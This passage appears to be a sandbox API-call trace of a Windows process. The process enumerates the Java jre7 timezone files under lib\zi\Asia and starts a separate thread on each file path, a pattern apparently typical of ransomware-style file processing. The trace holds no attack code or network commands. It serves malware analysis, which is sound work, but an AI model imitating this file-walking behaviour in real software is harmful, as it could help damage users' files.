ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtobe", cAlternateFileName="")) returned 1 [0177.271] wcscmp (_String1="Aqtobe", _String2=".") returned 1 [0177.271] wcscmp (_String1="Aqtobe", _String2="..") returned 1 [0177.271] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1138 [0177.271] wcscpy (in: _Dest=0x8f1138, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.271] wcscat (in: _Dest=0x8f1138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.271] wcscat (in: _Dest=0x8f1138, _Source="Aqtobe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtobe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtobe" [0177.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e0 [0177.272] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ashgabat", cAlternateFileName="")) returned 1 [0177.272] wcscmp (_String1="Ashgabat", _String2=".") returned 1 [0177.272] wcscmp (_String1="Ashgabat", _String2="..") returned 1 [0177.272] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e88f0 [0177.272] wcscpy (in: _Dest=0x8e88f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.272] wcscat (in: _Dest=0x8e88f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.272] wcscat (in: _Dest=0x8e88f0, _Source="Ashgabat" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ashgabat") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ashgabat" [0177.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e88f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1724 [0177.274] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baghdad", cAlternateFileName="")) returned 1 [0177.274] wcscmp (_String1="Baghdad", _String2=".") returned 1 [0177.274] wcscmp (_String1="Baghdad", _String2="..") returned 1 [0177.274] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8ff8 [0177.274] wcscpy (in: _Dest=0x8e8ff8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.274] wcscat (in: _Dest=0x8e8ff8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.274] wcscat (in: _Dest=0x8e8ff8, _Source="Baghdad" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baghdad" [0177.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1720 [0177.275] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahrain", cAlternateFileName="")) returned 1 [0177.275] wcscmp (_String1="Bahrain", _String2=".") returned 1 [0177.275] wcscmp (_String1="Bahrain", _String2="..") returned 1 [0177.275] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8da0 [0177.275] wcscpy (in: _Dest=0x8e8da0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.275] wcscat (in: _Dest=0x8e8da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.275] wcscat (in: _Dest=0x8e8da0, _Source="Bahrain" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain" [0177.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x171c [0177.277] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Baku", cAlternateFileName="")) returned 1 [0177.277] wcscmp (_String1="Baku", _String2=".") returned 1 [0177.277] wcscmp (_String1="Baku", _String2="..") returned 1 [0177.277] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0db8 [0177.277] wcscpy (in: _Dest=0x8f0db8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.277] wcscat (in: _Dest=0x8f0db8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.277] wcscat (in: _Dest=0x8f0db8, _Source="Baku" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baku") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baku" [0177.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0177.278] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangkok", cAlternateFileName="")) returned 1 [0177.278] wcscmp (_String1="Bangkok", _String2=".") returned 1 [0177.278] wcscmp (_String1="Bangkok", _String2="..") returned 1 [0177.278] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8698 [0177.278] wcscpy (in: _Dest=0x8e8698, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.278] wcscat (in: _Dest=0x8e8698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.278] wcscat (in: _Dest=0x8e8698, _Source="Bangkok" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bangkok") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bangkok" [0177.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c [0177.279] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beirut", cAlternateFileName="")) returned 1 [0177.279] wcscmp (_String1="Beirut", _String2=".") returned 1 [0177.279] wcscmp (_String1="Beirut", _String2="..") returned 1 [0177.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f14b8 [0177.279] wcscpy (in: _Dest=0x8f14b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.279] wcscat (in: _Dest=0x8f14b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.280] wcscat (in: _Dest=0x8f14b8, _Source="Beirut" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Beirut") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Beirut" [0177.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f14b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98 [0177.281] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bishkek", cAlternateFileName="")) returned 1 [0177.281] wcscmp (_String1="Bishkek", _String2=".") returned 1 [0177.281] wcscmp (_String1="Bishkek", _String2="..") returned 1 [0177.281] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8f08 [0177.281] wcscpy (in: _Dest=0x8e8f08, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.281] wcscat (in: _Dest=0x8e8f08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.281] wcscat (in: _Dest=0x8e8f08, _Source="Bishkek" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bishkek") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bishkek" [0177.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0 [0177.282] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brunei", cAlternateFileName="")) returned 1 [0177.282] wcscmp (_String1="Brunei", _String2=".") returned 1 [0177.282] wcscmp (_String1="Brunei", _String2="..") returned 1 [0177.282] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1ad8 [0177.282] wcscpy (in: _Dest=0x8f1ad8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.282] wcscat (in: _Dest=0x8f1ad8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.282] wcscat (in: _Dest=0x8f1ad8, _Source="Brunei" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Brunei") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Brunei" [0177.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4 [0177.283] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Choibalsan", cAlternateFileName="CHOIBA~1")) returned 1 [0177.284] wcscmp (_String1="Choibalsan", _String2=".") returned 1 [0177.284] wcscmp (_String1="Choibalsan", _String2="..") returned 1 [0177.284] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8ad0 [0177.284] wcscpy (in: _Dest=0x8e8ad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.284] wcscat (in: _Dest=0x8e8ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.284] wcscat (in: _Dest=0x8e8ad0, _Source="Choibalsan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Choibalsan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Choibalsan" [0177.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8 [0177.285] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chongqing", cAlternateFileName="CHONGQ~1")) returned 1 [0177.285] wcscmp (_String1="Chongqing", _String2=".") returned 1 [0177.285] wcscmp (_String1="Chongqing", _String2="..") returned 1 [0177.285] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e90e8 [0177.285] wcscpy (in: _Dest=0x8e90e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.285] wcscat (in: _Dest=0x8e90e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.285] wcscat (in: _Dest=0x8e90e8, _Source="Chongqing" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Chongqing") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Chongqing" [0177.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e90e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c [0177.286] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Colombo", cAlternateFileName="")) returned 1 [0177.286] wcscmp (_String1="Colombo", _String2=".") returned 1 [0177.286] wcscmp (_String1="Colombo", _String2="..") returned 1 [0177.286] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e91d8 [0177.286] wcscpy (in: _Dest=0x8e91d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.286] wcscat (in: _Dest=0x8e91d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.287] wcscat (in: _Dest=0x8e91d8, _Source="Colombo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Colombo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Colombo" [0177.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e91d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0 [0177.288] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="Damascus", cAlternateFileName="")) returned 1 [0177.288] wcscmp (_String1="Damascus", _String2=".") returned 1 [0177.288] wcscmp (_String1="Damascus", _String2="..") returned 1 [0177.288] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9070 [0177.288] wcscpy (in: _Dest=0x8e9070, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.288] wcscat (in: _Dest=0x8e9070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.288] wcscat (in: _Dest=0x8e9070, _Source="Damascus" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Damascus") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Damascus" [0177.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128 [0177.289] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dhaka", cAlternateFileName="")) returned 1 [0177.289] wcscmp (_String1="Dhaka", _String2=".") returned 1 [0177.289] wcscmp (_String1="Dhaka", _String2="..") returned 1 [0177.289] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1368 [0177.289] wcscpy (in: _Dest=0x8f1368, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.289] wcscat (in: _Dest=0x8f1368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.289] wcscat (in: _Dest=0x8f1368, _Source="Dhaka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dhaka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dhaka" [0177.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0177.291] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dili", cAlternateFileName="")) returned 1 [0177.291] wcscmp (_String1="Dili", _String2=".") returned 1 [0177.291] wcscmp (_String1="Dili", _String2="..") returned 1 [0177.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f13d8 [0177.291] wcscpy (in: _Dest=0x8f13d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.291] wcscat (in: _Dest=0x8f13d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.291] wcscat (in: _Dest=0x8f13d8, _Source="Dili" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dili") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dili" [0177.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f13d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708 [0177.292] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dubai", cAlternateFileName="")) returned 1 [0177.292] wcscmp (_String1="Dubai", _String2=".") returned 1 [0177.292] wcscmp (_String1="Dubai", _String2="..") returned 1 [0177.292] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0d48 [0177.292] wcscpy (in: _Dest=0x8f0d48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.292] wcscat (in: _Dest=0x8f0d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.292] wcscat (in: _Dest=0x8f0d48, _Source="Dubai" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dubai") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dubai" [0177.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e0 [0177.294] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, 